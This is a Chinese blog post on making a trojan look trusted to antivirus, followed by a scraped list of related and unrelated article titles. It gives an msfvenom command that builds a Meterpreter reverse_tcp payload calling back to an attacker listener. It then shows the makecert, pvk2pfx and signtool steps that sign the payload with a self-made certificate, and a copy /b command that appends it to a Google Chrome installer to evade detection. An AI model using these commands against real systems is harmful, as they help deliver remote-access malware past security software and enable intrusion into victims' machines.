此文乃一般水文 ~ 师傅们轻喷

此文的起端是这样的,在做实验的时候,很多次双击执行文件时,都显示软件不安全或者软件并无签名无法校验什么鬼等操作…在我午休的时候死活睡不着,我就想着能不能给执行文件加个证书?顺便看看能绕过多少杀软?所以就有了以下文章

目录

  • 证书签名
  • 实验开始
    • 自制签名
    • 信誉好的软件包签名

证书签名

很多安装包都有签名,也可以说是为了防止他人恶意纂改倒不如说是为了让杀毒软件认为是安全的而不把你的马子干掉,当然一般自签名的人家也不认,需要付费买人家的根证书进行签名,好不容易自制个安装包让客户安装还被恶意毒杀,啊这…
(所以鄙人只能学习自制证书了,买不起买不起)

实验开始

先利用msf简单制作个反向的马子
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.129 LPORT=4444 -f exe > /home/zzzwj/tools/msf.exe
丢进win10,win defender:给爷si

自制签名

windows可使用自带的工具,安装了windows sdk 或者安装VS studio 使用vs 的命令行都可以:需要使用Visual Studio命令提示符在命令行上使用makecert实用程序。

你必须使用 Visual Studio command prompt 。在 Windows 10 上,此工具已重命名为 Developer Command Prompt for VS2015 。只需按Win键,然后搜索Developer Command Prompt即可找到此项

鄙人win10上先前安装过VS studio2019版的

  1. 创建自签名的证书和公钥
    makecert -r -sv test_key.pvk -n "CN=test_test_test_hcak" test.cer

    报错:Can't create the key of the subject ('xxxxxx-xxx-x-x-x-x‘)
    解决方式:当前用户对文件目录的具有写入权限
  2. 生成发行者证书
    cert2spc test.cer test.spc
  3. 生成PFX格式的证书
    pvk2pfx -pvk test_key.pvk -pi [password] -spc test.spc -pfx test.pfx -po [password]
  4. 使用pfx格式的证书对可执行文件进行签名
    signtool sign /f test.pfx /p [password] msf.exe

看看免杀程度…原来的是54/69,所以我说这算是水文吧~

签名完成之后,查看执行性文件的属性即可看到签名的信息

信誉好的软件包签名

这里使用Google软件包签名,绕过杀软
copy /b GoogleChromeStandaloneEnterprise64.msi + msf.exe msf_2.exe


但是…win10与win7均执行不了,但是这位老哥可以,可能是软件包或马子的问题https://www.cnblogs.com/hack404/p/12801954.html

参考:
https://happysec.cn/index/view/273.html
https://www.cnblogs.com/hack404/p/12801954.html
https://blog.csdn.net/xinyulou/article/details/101536828

要有待学习啊真的真的~
 
GOT IT!

******************************************************
具体利用方式需根据具体实践场景~

利用证书签名绕过杀软相关推荐

  1. 白加黑加载方式_利用白加黑原理 绕过杀软主动防御

    如何绕过杀软主动防御?且看这篇文章渡尽劫波兄弟在,相逢一笑泯恩仇.--鲁迅 利用白文件绕过杀软的主动,可以追溯到很久之前.我在看雪看到一篇关于白加黑的文章时候还是在13年,当时也有人在研究白加黑.所谓 ...

  2. 利用HTA文件绕过杀软及邮件钓⻥

    点击上方"蓝字"关注我们 本文作者:jokelove(Ms08067内网安全小组成员) 0x01 基础 HTA是HTML Application的缩写,本⽂介绍HTA在内⽹渗透中的 ...

  3. 利用Frida手动绕过Android-APP证书校验

    HTTPS证书校验绕过有很多成熟的方法,比如SSL Unpinning,JustTrustMe等,但是遇到混淆过或写在so里的校验的时候是无效的. 本文写的可能会有些啰嗦,记录了我整个尝试的思路.没有 ...

  4. python自启动 绕过360_记录一次绕过杀软的过程

    一.背景 在做红队渗透时,经常会遇到目标机安装了各种杀毒软件,诸如360.腾讯管家之类的.导致生成的payload总是无法利用且被杀软强制删除的事情时常发生.这个东西真的很烦人,烦死了!只能停下来去研 ...

  5. 不要签名证书将网页打包封装成苹果APP,无需苹果企业签名,IPA证书签名,ios签名证书,免越狱安装...

    不用签名证书将网页封装成苹果APP,无需苹果企业证书 签名,IPA证书签名,ios证书签名,免越狱安装 (本方法只支持网站封装app,原生的用不了,详细请咨询客服) 近期很多朋友问我把网站变成app的 ...

  6. java 加载shellcode_动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  7. SSL/TLS协议原理与证书签名多种生成方式实践指南

    本章目录: 0x00 前言简述 CA 认证原理 PKI 公钥基础设施 0x01 自签名SSL证书生成 1.在线(脚本)生成 2.OpenSSL 生成 3.CFSSL 生成 0x03 cfssl 使用实 ...

  8. ATECC508A芯片开发笔记(七):实现数字签名(Sign)并校验(Verify)证书签名

    目录 ATECC508A芯片开发笔记(七):实现对数据数字签名(Sign)并验证(Verify)证书签名 一.数据签名.验证基本流程 二.利用508对数据签名并验证 代码实现: Sign(数字签名)实 ...

  9. HTTPS原理介绍以及证书签名的申请配置

    本章目录: 0x00 前言介绍 0x01 HTTPS原理 0x02 证书申请配置 0x03 补充证书申请 1.SSL-FOR-FREE 0x04 总结 0x00 前言介绍 什么是 HTTP/HTTPS ...

最新文章

  1. [翻译]StructureMap 指南 – .NET中的依赖注入和控制反转
  2. 谷歌浏览器linux版_Chrome apps 要被谷歌干掉了
  3. Android USB Host与HID通讯
  4. Hadoop无法上传文件查找原因
  5. SQL Server复制
  6. 阶段1 语言基础+高级_1-3-Java语言高级_06-File类与IO流_08 转换流_2_编码引出的问题_FileReader读取GBK格式文件...
  7. img标签绝对位置定位,图片显示在签名之上。
  8. Listary——好用到哭的高效快速搜索工具
  9. 全球及中国石墨烯行业发展前景规模及需求容量预测报告2021年版
  10. 基于ssm的仿微博系统
  11. java保存图片_java 保存图片
  12. 【转】如何从计算视角研究网络传播影响力最大化问题?
  13. nuc6i7kyk+linux+驱动,Intel 2016年最新版迷你PC!NUC Kit NUC6i7KYK 骷髅峡谷迷你PC!
  14. 19 kafka消息队列
  15. gstreamer学习笔记---pad定义、连接、流动
  16. 医疗行业专业术语知识
  17. STC8H1K08 - GPIO 按键检测
  18. android 轻量级缓存框架ASimpleCache
  19. CM311-1sa-CH_S905L3AB_无线5621DS_安卓9.0_线刷固件包
  20. java web 工具_MagicTool

热门文章

  1. C# EF框架(一)配置
  2. Python Scrapy - Ins爬虫
  3. 知道这些,让你在使用Prism 8 时更加得心应手!
  4. 毕业季基于ssm框架的管理系统设计与实现如何写开题报告,怎么完成设计
  5. 文献管理软件 | endnote与zotero的对比
  6. ubuntu导入第三方库_1.Ubuntu目录与第三方库
  7. 数据分析法之对比分析法
  8. 手机号与邮箱正则表达式
  9. lesson1-breeds
  10. Android开发艺术探索读书笔记(第5章 RemoteView)